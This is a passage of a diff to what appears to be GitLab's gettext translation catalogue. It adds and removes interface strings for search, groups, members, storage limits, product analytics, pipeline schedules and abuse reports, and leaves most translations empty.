+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr "Ny katalog"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
